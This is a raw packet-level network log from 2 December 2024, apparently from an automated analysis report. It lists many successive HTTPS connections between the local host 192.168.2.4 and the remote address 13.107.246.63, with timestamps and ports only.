Dec 2, 2024 17:57:59.186634064 CET	443	50015	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:59.186745882 CET	443	50015	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:59.186830997 CET	50015	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:59.187019110 CET	50015	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:59.187038898 CET	443	50015	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:59.187050104 CET	50015	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:59.187056065 CET	443	50015	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:59.190059900 CET	50020	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:59.190114021 CET	443	50020	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:59.190201998 CET	50020	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:59.190375090 CET	50020	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:59.190391064 CET	443	50020	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:59.232108116 CET	443	50017	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:59.232717991 CET	50017	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:59.232744932 CET	443	50017	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:59.233174086 CET	50017	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:59.233181000 CET	443	50017	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:59.549557924 CET	443	50016	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:59.549586058 CET	443	50016	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:59.549681902 CET	50016	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:59.549743891 CET	443	50016	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:59.549820900 CET	443	50016	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:59.549874067 CET	50016	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:59.549963951 CET	50016	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:59.549983978 CET	443	50016	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:59.549998045 CET	50016	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:59.550004959 CET	443	50016	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:59.552747011 CET	50021	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:59.552791119 CET	443	50021	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:59.552866936 CET	50021	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:59.552988052 CET	50021	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:59.553004980 CET	443	50021	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:59.623738050 CET	443	50018	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:59.624231100 CET	50018	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:59.624253035 CET	443	50018	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:59.624707937 CET	50018	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:59.624712944 CET	443	50018	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:59.745510101 CET	443	50017	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:59.745630980 CET	443	50017	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:59.745711088 CET	50017	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:59.745942116 CET	50017	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:59.745960951 CET	443	50017	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:59.745973110 CET	50017	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:59.745979071 CET	443	50017	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:59.748567104 CET	50022	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:59.748604059 CET	443	50022	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:59.748686075 CET	50022	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:59.748833895 CET	50022	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:59.748847008 CET	443	50022	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:59.924926043 CET	443	50019	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:59.925549030 CET	50019	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:59.925571918 CET	443	50019	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:59.925964117 CET	50019	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:59.925970078 CET	443	50019	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:00.087708950 CET	443	50018	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:00.087729931 CET	443	50018	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:00.087790966 CET	50018	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:00.087821007 CET	443	50018	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:00.088048935 CET	50018	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:00.088064909 CET	443	50018	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:00.088074923 CET	50018	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:00.088231087 CET	443	50018	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:00.088260889 CET	443	50018	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:00.088299990 CET	50018	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:00.090748072 CET	50023	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:00.090790987 CET	443	50023	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:00.090861082 CET	50023	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:00.090998888 CET	50023	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:00.091012001 CET	443	50023	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:00.369920015 CET	443	50019	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:00.369946003 CET	443	50019	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:00.370019913 CET	50019	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:00.370043039 CET	443	50019	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:00.370261908 CET	50019	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:00.370284081 CET	443	50019	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:00.370297909 CET	50019	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:00.370450974 CET	443	50019	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:00.370484114 CET	443	50019	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:00.370532990 CET	50019	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:00.372733116 CET	50024	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:00.372781038 CET	443	50024	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:00.372855902 CET	50024	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:00.373020887 CET	50024	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:00.373047113 CET	443	50024	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:01.155168056 CET	443	50020	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:01.155745029 CET	50020	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:01.155776024 CET	443	50020	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:01.156101942 CET	50020	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:01.156106949 CET	443	50020	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:01.354439020 CET	443	50021	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:01.354928970 CET	50021	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:01.354957104 CET	443	50021	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:01.355369091 CET	50021	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:01.355374098 CET	443	50021	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:01.467964888 CET	443	50022	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:01.468375921 CET	50022	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:01.468413115 CET	443	50022	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:01.468816042 CET	50022	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:01.468821049 CET	443	50022	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:01.609150887 CET	443	50020	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:01.609175920 CET	443	50020	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:01.609385014 CET	50020	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:01.609415054 CET	443	50020	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:01.613313913 CET	443	50020	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:01.613379955 CET	50020	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:01.619568110 CET	50020	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:01.619591951 CET	443	50020	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:01.619597912 CET	50020	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:01.619606018 CET	443	50020	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:01.625495911 CET	50025	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:01.625534058 CET	443	50025	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:01.625602961 CET	50025	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:01.625881910 CET	50025	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:01.625897884 CET	443	50025	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:01.789747000 CET	443	50021	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:01.789767981 CET	443	50021	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:01.789834976 CET	50021	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:01.789855957 CET	443	50021	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:01.790205956 CET	50021	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:01.790221930 CET	443	50021	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:01.790230036 CET	50021	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:01.790371895 CET	443	50021	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:01.790402889 CET	443	50021	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:01.790438890 CET	50021	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:01.810493946 CET	50026	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:01.810533047 CET	443	50026	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:01.810602903 CET	50026	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:01.810726881 CET	50026	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:01.810743093 CET	443	50026	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:01.869980097 CET	443	50023	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:01.870556116 CET	50023	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:01.870577097 CET	443	50023	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:01.871998072 CET	50023	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:01.872005939 CET	443	50023	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:01.915635109 CET	443	50022	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:01.915700912 CET	443	50022	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:01.915750980 CET	50022	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:01.915899992 CET	50022	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:01.915923119 CET	443	50022	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:01.915935040 CET	50022	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:01.915942907 CET	443	50022	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:01.919399023 CET	50027	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:01.919426918 CET	443	50027	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:01.919487000 CET	50027	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:01.919692993 CET	50027	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:01.919722080 CET	443	50027	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:02.189459085 CET	443	50024	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:02.189961910 CET	50024	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:02.189980030 CET	443	50024	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:02.190426111 CET	50024	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:02.190432072 CET	443	50024	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:02.311042070 CET	443	50023	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:02.311120987 CET	443	50023	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:02.311178923 CET	50023	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:02.311378956 CET	50023	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:02.311397076 CET	443	50023	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:02.311408043 CET	50023	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:02.311413050 CET	443	50023	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:02.314282894 CET	50028	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:02.314312935 CET	443	50028	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:02.314394951 CET	50028	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:02.314564943 CET	50028	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:02.314578056 CET	443	50028	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:02.636689901 CET	443	50024	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:02.636759043 CET	443	50024	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:02.636810064 CET	50024	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:02.637020111 CET	50024	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:02.637043953 CET	443	50024	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:02.637058020 CET	50024	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:02.637065887 CET	443	50024	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:02.639980078 CET	50029	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:02.640014887 CET	443	50029	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:02.640074015 CET	50029	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:02.640232086 CET	50029	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:02.640244961 CET	443	50029	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:03.475039005 CET	443	50025	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:03.475534916 CET	50025	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:03.475568056 CET	443	50025	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:03.476016045 CET	50025	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:03.476022959 CET	443	50025	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:03.658808947 CET	443	50026	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:03.659307003 CET	50026	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:03.659331083 CET	443	50026	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:03.659743071 CET	50026	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:03.659746885 CET	443	50026	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:03.956639051 CET	443	50025	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:03.959702015 CET	443	50025	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:03.959775925 CET	50025	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:03.959837914 CET	50025	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:03.959860086 CET	443	50025	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:03.959871054 CET	50025	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:03.959876060 CET	443	50025	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:03.960772991 CET	443	50027	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:03.961172104 CET	50027	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:03.961190939 CET	443	50027	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:03.961767912 CET	50027	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:03.961774111 CET	443	50027	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:03.962802887 CET	50030	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:03.962840080 CET	443	50030	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:03.962914944 CET	50030	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:03.963069916 CET	50030	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:03.963082075 CET	443	50030	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.121556044 CET	443	50026	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.121583939 CET	443	50026	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.121633053 CET	50026	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:04.121650934 CET	443	50026	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.121695042 CET	50026	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:04.121896029 CET	50026	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:04.121896029 CET	50026	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:04.121903896 CET	443	50026	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.122113943 CET	443	50026	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.122154951 CET	443	50026	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.122215033 CET	50026	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:04.124834061 CET	50031	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:04.124883890 CET	443	50031	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.124958038 CET	50031	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:04.125113010 CET	50031	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:04.125132084 CET	443	50031	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.155930042 CET	443	50028	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.156414986 CET	50028	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:04.156436920 CET	443	50028	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.157004118 CET	50028	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:04.157010078 CET	443	50028	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.430794954 CET	443	50027	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.430828094 CET	443	50027	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.430880070 CET	50027	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:04.430893898 CET	443	50027	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.430941105 CET	50027	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:04.431152105 CET	50027	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:04.431169033 CET	443	50027	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.434616089 CET	50032	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:04.434638023 CET	443	50032	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.434745073 CET	50032	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:04.434900045 CET	50032	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:04.434911966 CET	443	50032	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.505136967 CET	443	50029	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.506282091 CET	50029	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:04.506314993 CET	443	50029	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.506885052 CET	50029	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:04.506891012 CET	443	50029	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.692240953 CET	443	50028	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.692265987 CET	443	50028	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.692286968 CET	443	50028	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.692318916 CET	50028	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:04.692329884 CET	443	50028	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.692352057 CET	50028	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:04.692364931 CET	50028	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:04.850034952 CET	443	50028	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.850101948 CET	50028	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:04.850111961 CET	443	50028	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.850123882 CET	443	50028	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.850167036 CET	50028	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:04.866470098 CET	50028	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:04.866488934 CET	443	50028	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.866498947 CET	50028	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:04.866504908 CET	443	50028	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.895015001 CET	50033	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:04.895051956 CET	443	50033	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.895143986 CET	50033	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:04.903947115 CET	50033	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:04.903964996 CET	443	50033	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.959033012 CET	443	50029	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.959064960 CET	443	50029	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.959120035 CET	50029	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:04.959131956 CET	443	50029	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.961296082 CET	50029	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:04.961302042 CET	443	50029	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.961316109 CET	50029	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:04.961481094 CET	443	50029	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.961513042 CET	443	50029	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.961631060 CET	50029	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:04.972073078 CET	50034	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:04.972100019 CET	443	50034	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:04.972165108 CET	50034	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:04.972362041 CET	50034	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:04.972373962 CET	443	50034	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:05.815664053 CET	443	50030	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:05.816138983 CET	50030	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:05.816164970 CET	443	50030	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:05.816658020 CET	50030	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:05.816663980 CET	443	50030	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:05.984652042 CET	443	50031	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:05.985224009 CET	50031	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:05.985251904 CET	443	50031	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:05.985661983 CET	50031	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:05.985667944 CET	443	50031	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:06.223952055 CET	443	50032	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:06.224570990 CET	50032	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:06.224598885 CET	443	50032	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:06.225586891 CET	50032	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:06.225596905 CET	443	50032	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:06.321901083 CET	443	50030	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:06.321926117 CET	443	50030	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:06.321942091 CET	443	50030	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:06.322057009 CET	50030	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:06.322072983 CET	443	50030	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:06.322145939 CET	50030	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:06.449985981 CET	443	50031	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:06.450016975 CET	443	50031	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:06.450093031 CET	50031	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:06.450118065 CET	443	50031	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:06.451416016 CET	50031	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:06.451469898 CET	50031	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:06.451477051 CET	443	50031	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:06.451492071 CET	50031	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:06.451647997 CET	443	50031	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:06.451684952 CET	443	50031	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:06.451765060 CET	50031	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:06.454241037 CET	50035	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:06.454288006 CET	443	50035	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:06.454436064 CET	50035	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:06.454595089 CET	50035	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:06.454611063 CET	443	50035	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:06.515945911 CET	443	50030	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:06.515991926 CET	443	50030	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:06.516025066 CET	50030	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:06.516028881 CET	443	50030	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:06.516072989 CET	50030	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:06.516087055 CET	50030	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:06.516179085 CET	50030	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:06.516179085 CET	50030	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:06.516194105 CET	443	50030	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:06.516201973 CET	443	50030	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:06.518718004 CET	50036	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:06.518799067 CET	443	50036	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:06.519033909 CET	50036	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:06.519191027 CET	50036	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:06.519227028 CET	443	50036	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:06.671581984 CET	443	50033	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:06.672060013 CET	50033	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:06.672081947 CET	443	50033	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:06.672530890 CET	50033	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:06.672535896 CET	443	50033	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:06.715332985 CET	443	50032	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:06.715352058 CET	443	50032	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:06.715405941 CET	443	50032	13.107.246.63	192.168.2.4
Dec 2, 2024 17:58:06.715411901 CET	50032	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:06.715470076 CET	50032	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:06.715626955 CET	50032	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:58:06.715641975 CET	443	50032	13.107.246.63	192.168.2.4
